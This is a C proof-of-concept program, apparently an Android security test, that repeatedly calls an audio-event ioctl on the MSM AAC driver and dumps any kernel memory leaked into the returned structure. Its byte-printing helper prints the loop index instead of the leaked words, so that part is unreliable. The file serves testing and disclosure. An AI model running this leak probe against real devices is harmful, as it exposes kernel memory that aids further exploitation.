1 /** 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 17 #define _GNU_SOURCE 18 #include <sys/wait.h> 19 20 #include <dlfcn.h> 21 #include <errno.h> 22 #include <limits.h> 23 24 #include <android/log.h> 25 #include <jni.h> 26 #include <linux/kdev_t.h> 27 #include <stdio.h> 28 #include <stdlib.h> 29 30 #include <dirent.h> 31 #include <errno.h> 32 #include <fcntl.h> 33 #include <net/if.h> 34 #include <pthread.h> 35 #include <string.h> 36 #include <sys/ioctl.h> 37 #include <sys/socket.h> 38 #include <sys/stat.h> 39 #include <sys/types.h> /* See NOTES */ 40 #include <unistd.h> 41 42 typedef unsigned int __u32; 43 typedef unsigned char __u8; 44 typedef signed int s32; 45 typedef unsigned int u32; 46 typedef unsigned short u16; 47 48 typedef u32 compat_uptr_t; 49 struct msm_audio_aio_buf32 { 50 compat_uptr_t buf_addr; 51 u32 buf_len; 52 u32 data_len; 53 compat_uptr_t private_data; 54 u16 mfield_sz; /*only useful for data has meta field */ 55 }; 56 57 struct msm_audio_bitstream_info32 { 58 u32 codec_type; 59 u32 chan_info; 60 u32 sample_rate; 61 u32 bit_stream_info; 62 u32 bit_rate; 63 u32 unused[3]; 64 }; 65 66 struct msm_audio_bitstream_error_info32 { 67 u32 dec_id; 68 u32 err_msg_indicator; 69 u32 err_type; 70 }; 71 72 union msm_audio_event_payload32 { 73 struct msm_audio_aio_buf32 aio_buf; 74 struct msm_audio_bitstream_info32 stream_info; 75 struct msm_audio_bitstream_error_info32 error_info; 76 s32 reserved; 77 }; 78 79 struct msm_audio_event32 { 80 s32 event_type; 81 s32 timeout_ms; 82 union msm_audio_event_payload32 event_payload; 83 }; 84 85 void print_bytes(u32* buf, size_t size) { 86 size_t i; 87 for (i = 0; i < size; i++) { 88 printf("%08x", i, (unsigned int)buf[i]); 89 } 90 printf("\n"); 91 } 92 93 #define AUDIO_IOCTL_MAGIC 'a' 94 #define AUDIO_GET_EVENT_32 _IOR(AUDIO_IOCTL_MAGIC, 13, struct msm_audio_event32) 95 int main(int argc, char* argv[]) { 96 int trycount = 0; 97 int fd; 98 pthread_t tid1, tid2; 99 int ret = 0; 100 struct msm_audio_event32 event32, event32_dup; 101 102 fd = open("/dev/msm_aac", O_NONBLOCK | O_RDWR, 0660); 103 104 if (fd < 0) { 105 perror("open"); 106 return -1; 107 } 108 109 memset(&event32_dup, 0, sizeof(event32_dup)); 110 event32_dup.timeout_ms = 1; 111 112 for (int i = 0;i < 500; i++) { 113 memcpy(&event32, &event32_dup, sizeof(event32_dup)); 114 ret = ioctl(fd, AUDIO_GET_EVENT_32, &event32); 115 116 if (memcmp(&event32, &event32_dup, sizeof(event32)) != 0) { 117 printf("information leaked, trycount=%d, rc=%d, event_type=%d\n", 118 trycount, ret, event32.event_type); 119 print_bytes((u32*)&event32, sizeof(event32) / sizeof(u32)); 120 } 121 122 trycount++; 123 124 usleep(1000); 125 } 126 127 close(fd); 128 } 129